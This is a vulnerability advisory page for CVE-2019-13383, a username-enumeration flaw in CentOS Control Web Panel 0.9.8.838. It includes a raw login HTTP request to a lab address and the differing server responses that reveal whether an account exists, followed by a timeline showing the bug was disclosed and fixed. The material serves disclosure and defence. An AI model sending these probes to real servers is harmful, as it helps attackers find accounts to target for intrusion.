Centos control web panel 0.9.8.838 user enumeration Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-07-16 | Type : webapps | Platform : linux
This exploit / vulnerability Centos control web panel 0.9.8.838 user enumeration is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: CWP (CentOS Control Web Panel) < 0.9.8.848 User Enumeration via HTTP Response Message
# Date: 15 July 2019
# Exploit Author: Pongtorn Angsuchotmetee, Nissana Sirijirakal, Narin Boonwasanarak
# Vendor Homepage: https://control-webpanel.com/changelog
# Software Link: Not available, user panel only available for lastest version
# Version: 0.9.8.836 to 0.9.8.847
# Tested on: CentOS 7.6.1810 (Core)
# CVE : CVE-2019-13383

# ====================================================================
# Information
# ====================================================================

Product : CWP Control Web Panel
version : 0.9.8.838
Fixed on : 0.9.8.848
Test on : CentOS 7.6.1810 (Core)
Reference : https://control-webpanel.com/
CVE-Number : 2019-13383

# ====================================================================
# Root course of the vulnerability
# ====================================================================
The server response different message between login with valid and invalid user.
This allows attackers to check whether a username is valid by reading the HTTP response.

# ====================================================================
# Steps to Reproduce
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1. Login with a random user by using invalid password

POST /login/index.php?acc=validate HTTP/1.1
Host: 192.168.80.137:2083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
csrftoken: d41d8cd98f00b204e9800998ecf8427e
X-Requested-With: XMLHttpRequest
Content-Length: 30
Connection: close
Referer: https://192.168.80.137:2083/login/?acc=logon

username=AAA&password=c2Rmc2Rm

2. Check the HTTP response body

2.1 User does not exist (server response suspended)

HTTP/1.1 200 OK
Server: cwpsrv
Date: Mon, 15 Jul 2019 01:39:06 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.32
Content-Length: 9

suspended

2.2 User does exist (server response nothing)

HTTP/1.1 200 OK
Server: cwpsrv
Date: Mon, 15 Jul 2019 01:40:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.32
Content-Length: 0

3. HTTP response body format depends on software version, but all of them keep responding differently as the example below

------------------------------------------------------------
| Username | Password | Result |

------------------------------------------------------------
| valid | valid | login success |

| valid | invalid | {"error":"failed"} |

| invalid | invalid | {"error":"user_invalid"} |
------------------------------------------------------------

# ====================================================================
# PoC
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https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13383.md

# ====================================================================
# Timeline
# ====================================================================
2019-07-06: Discovered the bug
2019-07-06: Reported to vendor
2019-07-06: Vender accepted the vulnerability
2019-07-11: The vulnerability has been fixed
2019-07-15: Published

# ====================================================================
# Discovered by
# ====================================================================
Pongtorn Angsuchotmetee
Nissana Sirijirakal
Narin Boonwasanarak